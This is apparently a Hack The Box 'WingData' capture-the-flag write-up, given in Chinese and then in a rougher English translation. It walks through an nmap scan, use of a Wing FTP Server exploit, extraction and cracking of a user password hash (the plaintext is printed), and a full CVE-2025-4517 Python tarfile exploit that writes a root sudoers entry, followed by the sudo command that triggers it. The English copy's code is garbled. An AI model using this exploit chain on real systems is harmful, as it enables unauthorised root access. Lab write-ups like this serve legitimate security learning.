htb wingdata

Information Gathering

# Nmap 7.98 scan initiated Tue Feb 17 05:13:04 2026 as: /usr/lib/nmap/nmap -p 22,80 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.104.203
Nmap scan report for 10.129.104.203
Host is up (0.096s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Did not follow redirect to http://wingdata.htb/
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vulnerability Analysis

浏览网页得知虚拟主机:ftp.wingdata.htb

进入获取到Web应用程序Wing FTP Server v7.4.3

搜索得到https://www.exploit-db.com/exploits/52347

Exploitation (User Flag)

根据此exploit可以获取到winftpshell,搜索/home发现用户wacky

grep -rnio "wacky" . 2>/dev/null可获取到密码在文件:./Data/1/users/wacky.xml

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca

通过谷歌搜索:hash site:*.wftpserver.com

可以获取到此页面:https://www.wftpserver.com/help/ftpserver/index.html?compression.htm

即可得到密码的盐为WingFTP,类型:SHA256

破解获取到密码:!#7Blushing^*Bride5

Privilege Escalation (Root Flag)

Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py 

查看python文件发现:

tar.extractall(path=staging_dir, filter="data")

Python是3.12

CVE-2025-4517

一个路径验证与路径实现之间的不匹配问题 (Mismatch between path validation and path realization)。在底层处理(例如调用操作系统的 os.path.realpath() 函数处理 PATH_MAX 限制条件)时,如果恶意 .tar 文件内部包含指向 ../../../../etc/passwd 或其他关键系统目录的恶意成员名,tarfile"data" 过滤器无法成功将其拦截。

结果就是,原本应该被限制在安全解压目录下的文件,突破了边界,被跨目录写入到了系统的绝对路径中。

创建恶意的tar文件

import os       # Operating System (操作系统接口)
import io       # Input/Output (输入输出接口)
import tarfile  # Tape Archive File (磁带归档文件接口)

# 创建带有符号链接循环的深层嵌套目录
def create_exploit_tar(username, output_file):
    comp = 'a' * 247
    steps = "abcdefghijklmnop"
    path = ""
    sudoers_entry = f"{username} ALL=(ALL) NOPASSWD: ALL\n".encode()
    
    # 阶段一: 创建带有符号链接循环的深层嵌套目录
    with tarfile.open(output_file, mode="w") as tar:
        for i in steps:
            # os.path.join: Operating System Path Join (操作系统路径拼接)
            a = tarfile.TarInfo(os.path.join(path, comp))
            # DIRTYPE: Directory Type (目录类型)
            a.type = tarfile.DIRTYPE
            tar.addfile(a)
            
            b = tarfile.TarInfo(os.path.join(path, i))
            # SYMTYPE: Symbolic Link Type (符号链接/软链接类型)
            b.type = tarfile.SYMTYPE
            b.linkname = comp
            tar.addfile(b)
            
            path = os.path.join(path, comp)
            
        # 阶段二:创建向上延伸多级的长符号链接链
        linkpath = os.path.join("/".join(steps), "l" * 254)
        l = tarfile.TarInfo(linkpath)
        l.type = tarfile.SYMTYPE
        l.linkname = "../" * len(steps)  # Go up 16 levels
        tar.addfile(l)
        
        # 阶段三:指向 /etc 的最终逃逸符号链接
        e = tarfile.TarInfo("escape")
        e.type = tarfile.SYMTYPE
        e.linkname = linkpath + "/../../../../../../../etc"
        tar.addfile(e)
        
        # 阶段四:通过转义符创建指向sudoers的硬链接
        f = tarfile.TarInfo("sudoers_link")
        # LNKTYPE: Hard Link Type (硬链接类型)
        f.type = tarfile.LNKTYPE
        f.linkname = "escape/sudoers"
        tar.addfile(f)
        
        # 阶段五:写入实际内容 - 写入硬链接的索引节点
        c = tarfile.TarInfo("sudoers_link")
        # REGTYPE: Regular File Type (普通文件类型)
        c.type = tarfile.REGTYPE
        c.size = len(sudoers_entry)
        # io.BytesIO: Input/Output Bytes In/Out (字节流内存文件对象)
        tar.addfile(c, fileobj=io.BytesIO(sudoers_entry))
        
    print(f"[+] Exploit tar created: {output_file}")
    return output_file

if __name__ == "__main__":
    target_user = "wacky"
    payload_filename = "backup_1111.tar"
    print("[*] 正在生成攻击载荷...")
    create_exploit_tar(target_user, payload_filename)
    print(f"[*] 执行完毕,请查看当前目录下的 {payload_filename}")

代码来源:https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData/blob/main/CVE-2025-4517-POC.py

紧接着移动到/opt/backup_clients/backups目录下

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1111.tar -r restore_exploit

即可获取shell

htb wingdata

Information Gathering

# A Nmap 7.98 scan was initiated on Tuesday, February 17, 2026, at 05:13:04, with the following command:
# /usr/lib/nmap/nmap -p 22,80 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.104.203
Nmap scan report for 10.129.104.203:
The host is up (latency: 0.096 seconds).
PORT   STATE SERVICE VERSION
22/tcp     open     ssh      OpenSSH 9.2p1 (Debian 2+deb12u7; protocol 2.0)
| ssh-hostkey:
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp     open     http     Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: The redirect to http://wingdata.htb/ was not followed.
Service Information:
Host: localhost
OS: Linux
CPE: cpe:/o:linux:linux_kernel

Vulnerability Analysis

By browsing the web, it was determined that the virtual host is ftp.wingdata.htb.

The web application used is Wing FTP Server v7.4.3.

An exploit with the ID 52347 can be found at https://www.exploit-db.com/exploits/52347.

Exploitation (User Flag)

Using this exploit, a shell access to the winftp service can be obtained. Searching the /home directory, the user wacky was identified.

The password for the wacky user can be retrieved from the file ./Data/1/users/wacky.xml using the command:

grep -rnio "wacky" . 2>/dev/null

The password is:

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca

By searching Google for hash site:*.wftpserver.com, the password hashing algorithm used (SHA256) was identified. The password was cracked using the following value:

!#7Blushing^*Bride5

Privilege Escalation (Root Flag)

The following default settings were found for the user wacky on wingdata:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

The user wacky can execute the following command with root privileges:

(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py

The python3 script used in this command performs the following action:

tar.extractall(path=staging_dir, filter="data")

It can be seen that the Python version used is 3.12.


## [**CVE-2025-4517**](https://www.cvedetails.com/cve/CVE-2025-4517/)

A mismatch between path validation and path implementation was identified. During the underlying processing (for example, when using the `os.path.realpath()` function from the operating system to handle `PATH_MAX` limitations), if a malicious `.tar` file contains malicious entries that point to directories such as `../../../../etc/passwd` or other critical system directories, the `"data"` filter of the `tarfile` cannot successfully intercept these attempts.

As a result, files that should be restricted to a secure extraction directory can bypass these restrictions and be written to the system's absolute paths across different directories.

### Creating a malicious tar file

```bash
import os       # Operating System interface
import io       # Input/Output interface
import tarfile  # Tape Archive File interface

Create a deeply nested directory with a cycle of symbolic links

def create_exploit_tar(username, output_file): comp = ‘a’ * 247 steps = “abcdefghijklmnop” path = "" sudoers_entry = f”{username} ALL=(ALL) NOPASSWD: ALL\n”.encode()

# Phase One: Create a deeply nested directory with a cycle of symbolic links
with tarfile.open(output_file, mode="w") as tar:
    for i in steps:
        # os.path.join: Used to concatenate paths in the operating system
        a = tarfile.TarInfo(os.path.join(path, comp))
        # DIRTYPE: Indicates the type of the directory
        a.type = tarfile.DIRTYPE
        tar.addfile(a)

        b = tarfile.TarInfo(os.path.join(path, i))
        # SYMTYPE: Indicates the type of the symbolic link
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)

        path = os.path.join(path, comp)

    # Phase Two: Create a long chain of symbolic links that point up multiple levels
    linkpath = os.path.join("/".join(steps), "l" * 254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = "../" * len(steps)  # Points up 16 levels
    tar.addfile(l)

    # Phase Three: Create a final symbolic link that points to /etc
    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../../../../etc"
    tar.addfile(e)

    # Phase Four: Create a hard link that points to the sudoers file using escape characters
    f = tarfile.TarInfo("sudoers_link")
    # LNKTYPE: Indicates the type of the hard link
    f.type = tarfile.LNKTYPE
    f.linkname = "escape/sudoers"
    tar.addfile(f)

    # Phase Five: Write the actual content - the index node for the hard link
    c = tarfile.TarInfo("sudoers_link")
    # REGTYPE: Indicates the type of a regular file
    c.type = tarfile.REGTYPE
    c.size = len(sudoers_entry)
    # io.BytesIO: Used for input/output of bytes
    tar.addfile(c, fileobj=io.BytesIO(sudoers_entry))

print(f"[+] Exploit tar created: {output_file}")
return output_file

if name == “main”: target_user = “wacky” payload_filename = “backup_1111.tar” print(”[] Generating the attack payload…”) create_exploit_tar(target_user, payload_filename) print(f”[] Operation completed. Please check {payload_filename} in the current directory.”) }

The code is from: https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData/blob/main/CVE-2025-4517-POC.py

Next, navigate to the /opt/backup_clients/backups directory:

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1111.tar -r restore_exploit

This will grant you access to a shell.